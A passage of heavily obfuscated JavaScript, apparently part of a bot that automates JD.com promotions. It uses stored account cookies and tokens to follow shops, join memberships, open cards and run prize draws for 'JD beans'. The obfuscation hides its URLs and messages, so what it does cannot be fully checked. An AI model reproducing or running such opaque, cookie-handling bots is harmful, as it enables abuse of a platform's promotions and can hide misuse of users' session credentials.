_0x1eb8ed[_0x1349('15d')](_0x11f490);}};if(_0x1eb8ed[_0x1349('15e')](_0x1eb8ed[_0x1349('15f')],_0x1eb8ed[_0x1349('15f')])){try{if(_0x1eb8ed[_0x1349('160')](_0x1eb8ed[_0x1349('161')],_0x1eb8ed[_0x1349('162')])){let _0x2c5be9=ck[_0x1349('8b')](';')[0x0][_0x1349('163')]();if(_0x2c5be9[_0x1349('8b')]('=')[0x1]){if(_0x577f54[_0x1349('164')](_0x2c5be9[_0x1349('165')](_0x577f54[_0x1349('166')]),-0x1))LZ_TOKEN_KEY=_0x577f54[_0x1349('167')](_0x2c5be9[_0x1349('4d')](/ /g,''),';');if(_0x577f54[_0x1349('168')](_0x2c5be9[_0x1349('165')](_0x577f54[_0x1349('169')]),-0x1))LZ_TOKEN_VALUE=_0x577f54[_0x1349('16a')](_0x2c5be9[_0x1349('4d')](/ /g,''),';');}}else{if(_0xf1c867){if(_0x1eb8ed[_0x1349('16b')](_0x1eb8ed[_0x1349('16c')],_0x1eb8ed[_0x1349('16d')])){if(_0x406892[_0x1349('be')]&&_0x1eb8ed[_0x1349('16e')](_0x406892[_0x1349('be')],0x1ed)){if(_0x1eb8ed[_0x1349('14d')](_0x1eb8ed[_0x1349('16f')],_0x1eb8ed[_0x1349('170')])){console[_0x1349('7')](_0x1eb8ed[_0x1349('171')]);$[_0x1349('13')]=!![];}else{console[_0x1349('7')](_0x14213b);}}console[_0x1349('7')](''+$[_0x1349('68')](_0xf1c867));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{e=_0x577f54[_0x1349('172')](e,0x20);let _0x257a0c=_0x577f54[_0x1349('173')],_0x385ba0=_0x257a0c[_0x1349('3b')],_0x153d13='';for(i=0x0;_0x577f54[_0x1349('174')](i,e);i++)_0x153d13+=_0x257a0c[_0x1349('175')](Math[_0x1349('176')](_0x577f54[_0x1349('177')](Math[_0x1349('91')](),_0x385ba0)));return _0x153d13;}}else{res=$[_0x1349('fb')](_0x14213b);if(_0x1eb8ed[_0x1349('178')](typeof res,_0x1eb8ed[_0x1349('179')])){if(_0x1eb8ed[_0x1349('160')](_0x1eb8ed[_0x1349('17a')],_0x1eb8ed[_0x1349('17b')])){$[_0x1349('50')](e,_0x406892);}else{if(_0x1eb8ed[_0x1349('17c')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){let _0x53c327='';if(res[_0x1349('99')][_0x1349('f3')]){_0x53c327=res[_0x1349('99')][_0x1349('f3')]+'京豆';}console[_0x1349('7')](_0x1349('17d')+_0x1eb8ed[_0x1349('159')](_0x53c327,_0x1eb8ed[_0x1349('17e')]));}else if(_0x1eb8ed[_0x1349('178')](typeof res,_0x1eb8ed[_0x1349('179')])&&res[_0x1349('2e')]){console[_0x1349('7')](_0x1349('17f')+(res[_0x1349('2e')]||''));}else{if(_0x1eb8ed[_0x1349('180')](_0x1eb8ed[_0x1349('181')],_0x1eb8ed[_0x1349('182')])){console[_0x1349('7')](_0x1349('110')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](_0x14213b);}}}}else{console[_0x1349('7')](_0x14213b);}}}}catch(_0x2582a5){if(_0x1eb8ed[_0x1349('183')](_0x1eb8ed[_0x1349('184')],_0x1eb8ed[_0x1349('184')])){$[_0x1349('50')](_0x2582a5,_0x406892);}else{$[_0x1349('50')](_0x2582a5,_0x406892);}}finally{_0x1eb8ed[_0x1349('185')](_0x20ff12);}}else{_0x577f54[_0x1349('186')](_0x20ff12);}});}});}function followShop(){var _0x93a68f={'ndYBT':function(_0x23ba2f,_0x3e2ac7){return _0x23ba2f!==_0x3e2ac7;},'ddtXz':_0x1349('187'),'rXgpc':_0x1349('188'),'nfWyK':function(_0x16e9ab,_0x5cc7bc){return _0x16e9ab==_0x5cc7bc;},'izdTx':function(_0x1fb73d,_0x37899e){return _0x1fb73d!==_0x37899e;},'XErBT':_0x1349('189'),'sxkiZ':_0x1349('54'),'zgTme':_0x1349('c3'),'AYMdk':function(_0x29cda0,_0x8bae20){return _0x29cda0===_0x8bae20;},'EKjhj':function(_0x369a1b,_0xd8e329){return _0x369a1b||_0xd8e329;},'XdhlK':_0x1349('c0'),'ToPni':_0x1349('18a'),'nzEaj':_0x1349('18b'),'yCjfD':function(_0x411ee9){return _0x411ee9();},'EpQpB':function(_0x36d208,_0x31c2fc){return _0x36d208>_0x31c2fc;},'opJKf':_0x1349('13c'),'tgNHZ':function(_0xdab755,_0x36fb45){return _0xdab755+_0x36fb45;},'OwmAh':_0x1349('13d'),'mhKEZ':function(_0x7a7a92,_0x3df0da){return _0x7a7a92+_0x3df0da;},'TovTM':function(_0x58d273){return _0x58d273();},'iGrnT':function(_0x35b540,_0xb6445f){return _0x35b540(_0xb6445f);},'JfFpW':function(_0x2ff231,_0x1adb4f,_0x32d42b){return _0x2ff231(_0x1adb4f,_0x32d42b);},'qyDzt':_0x1349('18c')};return new Promise(_0x5b0559=>{var _0x5e7699={'oYYaP':function(_0x425f9b,_0x6edb4f){return _0x93a68f[_0x1349('18d')](_0x425f9b,_0x6edb4f);},'XDTQA':_0x93a68f[_0x1349('18e')],'oDDoB':function(_0x3f678f,_0x33e1d0){return _0x93a68f[_0x1349('18f')](_0x3f678f,_0x33e1d0);},'pZGIz':_0x93a68f[_0x1349('190')],'OQThv':function(_0x3a5f52,_0x35a0e5){return _0x93a68f[_0x1349('191')](_0x3a5f52,_0x35a0e5);},'jTnIB':function(_0xe4fd65){return _0x93a68f[_0x1349('192')](_0xe4fd65);}};let _0x511a97=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e6')+_0x93a68f[_0x1349('193')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('39')+$[_0x1349('34')]+_0x1349('194');$[_0x1349('e9')](_0x93a68f[_0x1349('195')](taskPostUrl,_0x93a68f[_0x1349('196')],_0x511a97),async(_0x965bc8,_0x31fc94,_0x54209b)=>{if(_0x93a68f[_0x1349('197')](_0x93a68f[_0x1349('198')],_0x93a68f[_0x1349('199')])){try{if(_0x965bc8){if(_0x31fc94[_0x1349('be')]&&_0x93a68f[_0x1349('19a')](_0x31fc94[_0x1349('be')],0x1ed)){if(_0x93a68f[_0x1349('19b')](_0x93a68f[_0x1349('19c')],_0x93a68f[_0x1349('19c')])){if(_0x5e7699[_0x1349('19d')](name[_0x1349('165')](_0x5e7699[_0x1349('19e')]),-0x1))LZ_TOKEN_KEY=_0x5e7699[_0x1349('19f')](name[_0x1349('4d')](/ /g,''),';');if(_0x5e7699[_0x1349('19d')](name[_0x1349('165')](_0x5e7699[_0x1349('1a0')]),-0x1))LZ_TOKEN_VALUE=_0x5e7699[_0x1349('1a1')](name[_0x1349('4d')](/ /g,''),';');}else{console[_0x1349('7')](_0x93a68f[_0x1349('1a2')]);$[_0x1349('13')]=!![];}}console[_0x1349('7')](''+$[_0x1349('68')](_0x965bc8));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{res=$[_0x1349('fb')](_0x54209b);if(_0x93a68f[_0x1349('19a')](typeof res,_0x93a68f[_0x1349('1a3')])){if(_0x93a68f[_0x1349('1a4')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){let _0x13a8e1='';if(res[_0x1349('99')][_0x1349('f3')]){_0x13a8e1=res[_0x1349('99')][_0x1349('f3')]+'京豆';}if(res[_0x1349('99')][_0x1349('f4')]&&res[_0x1349('99')][_0x1349('f5')]){_0x13a8e1+=_0x1349('f6')+res[_0x1349('99')][_0x1349('f4')]+'京豆';}console[_0x1349('7')](_0x1349('f7')+_0x93a68f[_0x1349('1a5')](_0x13a8e1,_0x93a68f[_0x1349('1a6')]));}else if(_0x93a68f[_0x1349('19a')](typeof res,_0x93a68f[_0x1349('1a3')])&&res[_0x1349('2e')]){if(_0x93a68f[_0x1349('19b')](_0x93a68f[_0x1349('1a7')],_0x93a68f[_0x1349('1a8')])){console[_0x1349('7')](_0x1349('1a9')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](''+$[_0x1349('68')](_0x965bc8));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}}else{console[_0x1349('7')](_0x54209b);}}else{console[_0x1349('7')](_0x54209b);}}}catch(_0x2a99ed){$[_0x1349('50')](_0x2a99ed,_0x31fc94);}finally{_0x93a68f[_0x1349('1aa')](_0x5b0559);}}else{_0x5e7699[_0x1349('1ab')](_0x5b0559);}});});}function getshopactivityId(_0x570f67){var _0x151208={'yWsjP':function(_0x1a205d,_0x1c39e6){return _0x1a205d==_0x1c39e6;},'IxVxm':function(_0x8865cd,_0x3af4b9){return _0x8865cd!==_0x3af4b9;},'CoZrN':_0x1349('1ac'),'wrwBw':_0x1349('1ad'),'XonRi':function(_0x527f34){return _0x527f34();},'dZKgS':function(_0x2d290f,_0x37a6bd){return _0x2d290f>_0x37a6bd;},'sXHwl':_0x1349('1ae'),'MPSnb':function(_0x59a35a,_0x196375){return _0x59a35a+_0x196375;},'fGwqs':_0x1349('13c'),'VOdMP':function(_0x430785,_0x28b06e){return _0x430785>_0x28b06e;},'TBDHm':_0x1349('13d'),'jLclr':function(_0x2f410b,_0x193528){return _0x2f410b(_0x193528);}};return new Promise(_0x186653=>{var _0x1ded34={'BQtEy':function(_0x3f2357,_0x290200){return _0x151208[_0x1349('1af')](_0x3f2357,_0x290200);},'Xmujo':_0x151208[_0x1349('1b0')],'OujNA':function(_0x221b61,_0x2dec35){return _0x151208[_0x1349('1b1')](_0x221b61,_0x2dec35);},'vwQJf':_0x151208[_0x1349('1b2')],'lFtrT':function(_0x24af26,_0x18fde2){return _0x151208[_0x1349('1b3')](_0x24af26,_0x18fde2);},'RwGvi':_0x151208[_0x1349('1b4')]};$[_0x1349('1b5')](_0x151208[_0x1349('1b6')](shopactivityId,''+_0x570f67),async(_0x4eaa92,_0x16c7ae,_0x2e0888)=>{try{_0x2e0888=JSON[_0x1349('116')](_0x2e0888);if(_0x151208[_0x1349('1b7')](_0x2e0888[_0x1349('1b8')],!![])){$[_0x1349('1b9')]=_0x2e0888[_0x1349('b1')][_0x1349('1ba')]&&_0x2e0888[_0x1349('b1')][_0x1349('1ba')][0x0]&&_0x2e0888[_0x1349('b1')][_0x1349('1ba')][0x0][_0x1349('1bb')]&&_0x2e0888[_0x1349('b1')][_0x1349('1ba')][0x0][_0x1349('1bb')][_0x1349('36')]||'';}}catch(_0x4bd3d9){$[_0x1349('50')](_0x4bd3d9,_0x16c7ae);}finally{if(_0x151208[_0x1349('1bc')](_0x151208[_0x1349('1bd')],_0x151208[_0x1349('1be')])){_0x151208[_0x1349('1bf')](_0x186653);}else{if(_0x1ded34[_0x1349('1c0')](name[_0x1349('165')](_0x1ded34[_0x1349('1c1')]),-0x1))lz_jdpin_token=_0x1ded34[_0x1349('1c2')](name[_0x1349('4d')](/ /g,''),';');if(_0x1ded34[_0x1349('1c0')](name[_0x1349('165')](_0x1ded34[_0x1349('1c3')]),-0x1))LZ_TOKEN_KEY=_0x1ded34[_0x1349('1c2')](name[_0x1349('4d')](/ /g,''),';');if(_0x1ded34[_0x1349('1c4')](name[_0x1349('165')](_0x1ded34[_0x1349('1c5')]),-0x1))LZ_TOKEN_VALUE=_0x1ded34[_0x1349('1c2')](name[_0x1349('4d')](/ /g,''),';');}}});});}function shopactivityId(_0x5119fe){var _0x4a3228={'BQnzg':_0x1349('1c6'),'ijLge':_0x1349('1c7'),'aDcpu':_0x1349('1c8'),'cPNoV':_0x1349('1c9'),'KZxiJ':_0x1349('1ca')};return{'url':_0x1349('1cb')+_0x5119fe+_0x1349('1cc'),'headers':{'Content-Type':_0x4a3228[_0x1349('1cd')],'Origin':_0x4a3228[_0x1349('1ce')],'Host':_0x4a3228[_0x1349('1cf')],'accept':_0x4a3228[_0x1349('1d0')],'User-Agent':$['UA'],'content-type':_0x4a3228[_0x1349('1d1')],'Referer':_0x1349('1d2')+_0x5119fe+_0x1349('1d3')+_0x5119fe+_0x1349('1d4')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')],'Cookie':cookie}};}function join(_0x3bdb0c){var _0x308973={'yUVoV':function(_0x3f40d0,_0xf9a0ed){return _0x3f40d0==_0xf9a0ed;},'EgYkU':_0x1349('c3'),'dgxCA':function(_0x14e8c8,_0x4bfe9c){return _0x14e8c8===_0x4bfe9c;},'oSAzI':function(_0x44b906,_0x16a088){return _0x44b906!==_0x16a088;},'wyNRj':_0x1349('1d5'),'AHPzt':function(_0x5899f6,_0x4b704b){return _0x5899f6===_0x4b704b;},'BHoGy':_0x1349('1d6'),'hYuMx':function(_0x2901da){return _0x2901da();},'OvtXK':function(_0x4904b1,_0x5e2036){return _0x4904b1==_0x5e2036;},'ehLox':function(_0x4931a7,_0x151809){return _0x4931a7===_0x151809;},'qeMJP':function(_0x456b18,_0x50c796){return _0x456b18!=_0x50c796;},'qYrrk':_0x1349('53'),'zePPg':_0x1349('59'),'mkrRO':function(_0x2d5163,_0x43dd2c){return _0x2d5163==_0x43dd2c;},'RpKbK':_0x1349('54'),'dauDE':function(_0x464f87){return _0x464f87();},'pAGPA':function(_0x272210,_0x123bc8){return _0x272210!==_0x123bc8;},'lMqmc':_0x1349('1d7'),'nOzBV':_0x1349('1d8'),'mfVtS':function(_0x1a09dc,_0x2a198a){return _0x1a09dc(_0x2a198a);},'GpWNI':function(_0x193b6f,_0x4e65ff){return _0x193b6f(_0x4e65ff);}};return new Promise(async _0x1a0008=>{var _0x477584={'YoStg':_0x308973[_0x1349('1d9')],'QPkbn':function(_0x53715b){return _0x308973[_0x1349('1da')](_0x53715b);}};if(_0x308973[_0x1349('1db')](_0x308973[_0x1349('1dc')],_0x308973[_0x1349('1dd')])){$[_0x1349('1b9')]='';await $[_0x1349('83')](0x3e8);await _0x308973[_0x1349('1de')](getshopactivityId,_0x3bdb0c);$[_0x1349('1b5')](_0x308973[_0x1349('1df')](ruhui,''+_0x3bdb0c),async(_0x5ed104,_0x5769d5,_0xc5c68a)=>{try{let _0x8758b6=$[_0x1349('fb')](_0xc5c68a);if(_0x308973[_0x1349('1e0')](typeof _0x8758b6,_0x308973[_0x1349('1e1')])){if(_0x308973[_0x1349('1e2')](_0x8758b6[_0x1349('1b8')],!![])){console[_0x1349('7')](_0x8758b6[_0x1349('1e3')]);if(_0x8758b6[_0x1349('b1')]&&_0x8758b6[_0x1349('b1')][_0x1349('b2')]){for(let _0x48fa61 of _0x8758b6[_0x1349('b1')][_0x1349('b2')][_0x1349('b3')]){if(_0x308973[_0x1349('1e4')](_0x308973[_0x1349('1e5')],_0x308973[_0x1349('1e5')])){console[_0x1349('7')](_0x477584[_0x1349('1e6')]);$[_0x1349('13')]=!![];}else{console[_0x1349('7')](_0x1349('b4')+_0x48fa61[_0x1349('b5')]+_0x48fa61[_0x1349('b6')]+_0x48fa61[_0x1349('b7')]);}}}}else if(_0x308973[_0x1349('1e0')](typeof _0x8758b6,_0x308973[_0x1349('1e1')])&&_0x8758b6[_0x1349('1e3')]){console[_0x1349('7')](''+(_0x8758b6[_0x1349('1e3')]||''));}else{console[_0x1349('7')](_0xc5c68a);}}else{console[_0x1349('7')](_0xc5c68a);}}catch(_0x2d8124){if(_0x308973[_0x1349('1e7')](_0x308973[_0x1349('1e8')],_0x308973[_0x1349('1e8')])){$[_0x1349('50')](_0x2d8124,_0x5769d5);}else{_0x477584[_0x1349('1e9')](_0x1a0008);}}finally{_0x308973[_0x1349('1ea')](_0x1a0008);}});}else{res=$[_0x1349('fb')](data);if(_0x308973[_0x1349('1eb')](typeof res,_0x308973[_0x1349('1e1')])&&res[_0x1349('b1')]&&_0x308973[_0x1349('1ec')](res[_0x1349('b1')],!![])){if(res[_0x1349('99')]&&_0x308973[_0x1349('1ed')](typeof res[_0x1349('99')][_0x1349('1ee')],_0x308973[_0x1349('1ef')]))$[_0x1349('7d')]=res[_0x1349('99')][_0x1349('1ee')]||_0x308973[_0x1349('1f0')];}else if(_0x308973[_0x1349('1f1')](typeof res,_0x308973[_0x1349('1e1')])&&res[_0x1349('2e')]){console[_0x1349('7')](_0x1349('2d')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](data);}}});}function ruhui(_0x34b8dc){var _0x448c97={'assoA':_0x1349('1c6'),'JqtyK':_0x1349('1c7'),'MzFsb':_0x1349('1c8'),'KSgcj':_0x1349('1c9'),'fCoXb':_0x1349('1ca')};let _0x403ba5='';if($[_0x1349('1b9')])_0x403ba5=_0x1349('1f2')+$[_0x1349('1b9')];return{'url':_0x1349('1f3')+_0x34b8dc+_0x1349('1f4')+_0x34b8dc+_0x1349('1f5')+_0x403ba5+_0x1349('1f6'),'headers':{'Content-Type':_0x448c97[_0x1349('1f7')],'Origin':_0x448c97[_0x1349('1f8')],'Host':_0x448c97[_0x1349('1f9')],'accept':_0x448c97[_0x1349('1fa')],'User-Agent':$['UA'],'content-type':_0x448c97[_0x1349('1fb')],'Referer':_0x1349('1d2')+_0x34b8dc+_0x1349('1d3')+_0x34b8dc+_0x1349('1d4')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')],'Cookie':cookie}};}function startDraw(_0x5a82b7){var _0x313d33={'cPQEl':function(_0x3fcf15,_0x1407b2){return _0x3fcf15||_0x1407b2;},'dnwNw':_0x1349('c0'),'fEpqF':function(_0x16cad7,_0x56ba01){return _0x16cad7===_0x56ba01;},'KTFEZ':_0x1349('1fc'),'vlLLC':function(_0x2cfbcb,_0x4d854a){return _0x2cfbcb===_0x4d854a;},'lxDEx':_0x1349('1fd'),'BtKpy':_0x1349('1fe'),'fgwub':function(_0x3781a5,_0x24fe87){return _0x3781a5==_0x24fe87;},'BZnTG':_0x1349('c3'),'dGgnu':_0x1349('1ff'),'xqNFP':_0x1349('200'),'OgHAr':function(_0x45dda1,_0x5ec1c7){return _0x45dda1===_0x5ec1c7;},'XqsWs':_0x1349('201'),'zBmkP':_0x1349('202'),'yCSre':function(_0xf023c5){return _0xf023c5();},'xCYiQ':function(_0x1f2a4d,_0x4745c1){return _0x1f2a4d(_0x4745c1);},'pyfdw':function(_0x133fef,_0x6bd2cb,_0x5aef4d){return _0x133fef(_0x6bd2cb,_0x5aef4d);},'Idjlm':_0x1349('203')};return new Promise(_0x2bf161=>{let _0x7fd360=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('e6')+_0x313d33[_0x1349('204')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('205')+_0x5a82b7;$[_0x1349('e9')](_0x313d33[_0x1349('206')](taskPostUrl,_0x313d33[_0x1349('207')],_0x7fd360),async(_0x811941,_0x54c5a,_0x307f13)=>{var _0x105eaf={'nsFoh':function(_0x29c403,_0x1c30f5){return _0x313d33[_0x1349('208')](_0x29c403,_0x1c30f5);},'DgKie':_0x313d33[_0x1349('209')]};try{if(_0x811941){if(_0x313d33[_0x1349('20a')](_0x313d33[_0x1349('20b')],_0x313d33[_0x1349('20b')])){console[_0x1349('7')](''+$[_0x1349('68')](_0x811941));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{let _0x353092='';if(res[_0x1349('99')][_0x1349('f3')]){_0x353092=res[_0x1349('99')][_0x1349('f3')]+'京豆';}console[_0x1349('7')](_0x1349('17d')+_0x105eaf[_0x1349('20c')](_0x353092,_0x105eaf[_0x1349('20d')]));}}else{if(_0x313d33[_0x1349('20e')](_0x313d33[_0x1349('20f')],_0x313d33[_0x1349('210')])){cookiesArr[_0x1349('3')](jdCookieNode[item]);}else{res=$[_0x1349('fb')](_0x307f13);if(_0x313d33[_0x1349('211')](typeof res,_0x313d33[_0x1349('212')])){if(_0x313d33[_0x1349('20e')](_0x313d33[_0x1349('213')],_0x313d33[_0x1349('214')])){console[_0x1349('7')](_0x307f13);}else{if(_0x313d33[_0x1349('20e')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){console[_0x1349('7')](_0x1349('215')+(res[_0x1349('99')][_0x1349('216')]&&res[_0x1349('99')][_0x1349('25')]||_0x313d33[_0x1349('209')]));}else if(_0x313d33[_0x1349('211')](typeof res,_0x313d33[_0x1349('212')])&&res[_0x1349('2e')]){console[_0x1349('7')](_0x1349('4e')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](_0x307f13);}}}else{if(_0x313d33[_0x1349('217')](_0x313d33[_0x1349('218')],_0x313d33[_0x1349('219')])){console[_0x1349('7')](''+$[_0x1349('68')](_0x811941));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('21a'));}else{console[_0x1349('7')](_0x307f13);}}}}}catch(_0x46f842){$[_0x1349('50')](_0x46f842,_0x54c5a);}finally{_0x313d33[_0x1349('21b')](_0x2bf161);}});});}function checkOpenCard(){var _0x54fd3c={'BUVPG':function(_0x40dfd4){return _0x40dfd4();},'jnyiz':function(_0x619a39,_0x301ddd){return _0x619a39!==_0x301ddd;},'uOVBq':_0x1349('21c'),'svTRm':_0x1349('21d'),'aqQiz':_0x1349('21e'),'gcgRR':_0x1349('21f'),'vGKtD':_0x1349('c3'),'zDmZT':function(_0x150075,_0x1332ad){return _0x150075===_0x1332ad;},'UxqTW':_0x1349('220'),'EKzgz':function(_0xf56b1,_0x567f69){return _0xf56b1!==_0x567f69;},'pfjFa':_0x1349('221'),'KoUqa':function(_0x1d02b1,_0x76da7d){return _0x1d02b1(_0x76da7d);},'FRyHJ':function(_0x2e2e85,_0x164f3b){return _0x2e2e85(_0x164f3b);},'fXvJs':function(_0x7922e8,_0x117a81,_0x57700b){return _0x7922e8(_0x117a81,_0x57700b);},'XOvXS':_0x1349('222')};return new Promise(_0x1e9726=>{var _0x58d1de={'sHROY':function(_0x49eebc){return _0x54fd3c[_0x1349('223')](_0x49eebc);},'tZvAX':function(_0x349d59){return _0x54fd3c[_0x1349('223')](_0x349d59);},'ViSlI':function(_0xbb36a5,_0x3a6d77){return _0x54fd3c[_0x1349('224')](_0xbb36a5,_0x3a6d77);},'KPseM':_0x54fd3c[_0x1349('225')],'GGajv':_0x54fd3c[_0x1349('226')],'Yamuh':_0x54fd3c[_0x1349('227')],'kFuGP':_0x54fd3c[_0x1349('228')],'suLcp':_0x54fd3c[_0x1349('229')],'yrUYO':function(_0x5c6054,_0x4d518a){return _0x54fd3c[_0x1349('22a')](_0x5c6054,_0x4d518a);},'tgeIP':_0x54fd3c[_0x1349('22b')],'JHDLf':function(_0x450f71,_0x2729e7){return _0x54fd3c[_0x1349('22c')](_0x450f71,_0x2729e7);},'TxHRH':_0x54fd3c[_0x1349('22d')],'RSceM':function(_0x47c396,_0x516082){return _0x54fd3c[_0x1349('22e')](_0x47c396,_0x516082);}};let _0x450e28=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e6')+_0x54fd3c[_0x1349('22f')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('39')+$[_0x1349('34')];$[_0x1349('e9')](_0x54fd3c[_0x1349('230')](taskPostUrl,_0x54fd3c[_0x1349('231')],_0x450e28),async(_0x2cb420,_0xdaafb,_0x376f35)=>{var _0x58c6e9={'cjjMC':function(_0x11c2f8){return _0x58d1de[_0x1349('232')](_0x11c2f8);}};if(_0x58d1de[_0x1349('233')](_0x58d1de[_0x1349('234')],_0x58d1de[_0x1349('235')])){try{if(_0x58d1de[_0x1349('233')](_0x58d1de[_0x1349('236')],_0x58d1de[_0x1349('237')])){if(_0x2cb420){console[_0x1349('7')](''+$[_0x1349('68')](_0x2cb420));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{res=$[_0x1349('fb')](_0x376f35);if(_0x58d1de[_0x1349('233')](typeof res,_0x58d1de[_0x1349('238')])){if(_0x58d1de[_0x1349('239')](_0x58d1de[_0x1349('23a')],_0x58d1de[_0x1349('23a')])){console[_0x1349('7')](_0x376f35);}else{console[_0x1349('7')](_0x1349('23b')+(res[_0x1349('2e')]||''));}}}}else{_0x58c6e9[_0x1349('23c')](_0x1e9726);}}catch(_0x1602c9){if(_0x58d1de[_0x1349('23d')](_0x58d1de[_0x1349('23e')],_0x58d1de[_0x1349('23e')])){$[_0x1349('50')](_0x1602c9,_0xdaafb);}else{$[_0x1349('50')](_0x1602c9,_0xdaafb);}}finally{_0x58d1de[_0x1349('23f')](_0x1e9726,res&&res[_0x1349('99')]||'');}}else{_0x58d1de[_0x1349('240')](_0x1e9726);}});});}function drawContent(){var _0x25e112={'ZMoay':function(_0x343ae9){return _0x343ae9();},'KRpcL':_0x1349('1b'),'UQxzk':function(_0x5c5430,_0x4a4cc5){return _0x5c5430===_0x4a4cc5;},'XyhRp':_0x1349('241'),'ffpKs':function(_0x3b69d2,_0xf121cf){return _0x3b69d2(_0xf121cf);},'WMZnH':function(_0x121ccb,_0x11ce1c,_0x1befaa){return _0x121ccb(_0x11ce1c,_0x1befaa);},'HVGyS':_0x1349('242')};return new Promise(_0x32d7f6=>{if(_0x25e112[_0x1349('243')](_0x25e112[_0x1349('244')],_0x25e112[_0x1349('244')])){let _0x55544c=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e6')+_0x25e112[_0x1349('245')](encodeURIComponent,$[_0x1349('6b')]);$[_0x1349('e9')](_0x25e112[_0x1349('246')](taskPostUrl,_0x25e112[_0x1349('247')],_0x55544c),async(_0x4ccab1,_0x56e403,_0x133aff)=>{try{if(_0x4ccab1){console[_0x1349('7')](''+$[_0x1349('68')](_0x4ccab1));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{}}catch(_0x1181b6){$[_0x1349('50')](_0x1181b6,_0x56e403);}finally{_0x25e112[_0x1349('248')](_0x32d7f6);}});}else{console[_0x1349('7')](_0x25e112[_0x1349('249')]);}});}function getActorUuid(){var _0x255243={'rkAVW':function(_0x49c035,_0x45a64a){return _0x49c035===_0x45a64a;},'jikRM':_0x1349('24a'),'cFwiJ':_0x1349('24b'),'wGmKf':function(_0x4ccf1a,_0x5aeffc){return _0x4ccf1a==_0x5aeffc;},'rmRvX':_0x1349('54'),'BYADT':_0x1349('c3'),'WUaWL':function(_0x2f98b7,_0x575c98){return _0x2f98b7===_0x575c98;},'rUrTs':function(_0x72387a,_0x11af87){return _0x72387a!=_0x11af87;},'sKJaf':_0x1349('53'),'jamdf':function(_0x52abc8,_0x28b95b){return _0x52abc8!=_0x28b95b;},'QzFVN':_0x1349('24c'),'AvZYR':_0x1349('24d'),'imPmE':_0x1349('24e'),'mMtrh':_0x1349('24f'),'OsNIs':function(_0x4f9bab){return _0x4f9bab();},'JHEvn':function(_0x540bc1,_0x281f82){return _0x540bc1(_0x281f82);},'yENES':function(_0x52036c,_0x249f37){return _0x52036c(_0x249f37);},'aovrV':function(_0x26fedb,_0x2eaf17,_0x49e74d){return _0x26fedb(_0x2eaf17,_0x49e74d);},'MOAWD':_0x1349('250')};return new Promise(_0x431d36=>{var _0x11f52a={'YBXsw':function(_0x35202b,_0x2750e8){return _0x255243[_0x1349('251')](_0x35202b,_0x2750e8);},'taFGf':_0x255243[_0x1349('252')],'pUyIN':_0x255243[_0x1349('253')],'OMfjc':function(_0x201e69,_0x5b62ad){return _0x255243[_0x1349('254')](_0x201e69,_0x5b62ad);},'RExDu':_0x255243[_0x1349('255')],'SuhzP':_0x255243[_0x1349('256')],'rMPpE':function(_0x380378,_0xe24c96){return _0x255243[_0x1349('257')](_0x380378,_0xe24c96);},'IpCKV':function(_0x4f6e03,_0x304d90){return _0x255243[_0x1349('258')](_0x4f6e03,_0x304d90);},'JXmhr':_0x255243[_0x1349('259')],'HEpGR':function(_0x3d31cf,_0x4fbb1a){return _0x255243[_0x1349('25a')](_0x3d31cf,_0x4fbb1a);},'gfOWB':function(_0x520885,_0x51a64a){return _0x255243[_0x1349('254')](_0x520885,_0x51a64a);},'iRLbq':_0x255243[_0x1349('25b')],'HzDSZ':_0x255243[_0x1349('25c')],'hEahr':_0x255243[_0x1349('25d')],'YENvZ':_0x255243[_0x1349('25e')],'sEjaH':function(_0x85adae){return _0x255243[_0x1349('25f')](_0x85adae);}};let _0x1c8fd6=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e6')+_0x255243[_0x1349('260')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('261')+_0x255243[_0x1349('260')](encodeURIComponent,$[_0x1349('7d')])+_0x1349('262')+_0x255243[_0x1349('263')](encodeURIComponent,$[_0x1349('73')])+_0x1349('264')+$[_0x1349('34')];$[_0x1349('e9')](_0x255243[_0x1349('265')](taskPostUrl,_0x255243[_0x1349('266')],_0x1c8fd6),async(_0x3b0689,_0x658a7b,_0x37fad4)=>{try{if(_0x3b0689){if(_0x11f52a[_0x1349('267')](_0x11f52a[_0x1349('268')],_0x11f52a[_0x1349('269')])){console[_0x1349('7')](_0x1349('26a')+(res[_0x1349('2e')]||''));}else{if(_0x658a7b[_0x1349('be')]&&_0x11f52a[_0x1349('26b')](_0x658a7b[_0x1349('be')],0x1ed)){console[_0x1349('7')](_0x11f52a[_0x1349('26c')]);$[_0x1349('13')]=!![];}console[_0x1349('7')](''+$[_0x1349('68')](_0x3b0689));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}}else{res=$[_0x1349('fb')](_0x37fad4);if(_0x11f52a[_0x1349('26b')](typeof res,_0x11f52a[_0x1349('26d')])&&res[_0x1349('b1')]&&_0x11f52a[_0x1349('26e')](res[_0x1349('b1')],!![])){if(_0x11f52a[_0x1349('26f')](typeof res[_0x1349('99')][_0x1349('9a')][_0x1349('9b')],_0x11f52a[_0x1349('270')]))$[_0x1349('9a')]=res[_0x1349('99')][_0x1349('9a')][_0x1349('9b')];if(_0x11f52a[_0x1349('26f')](typeof 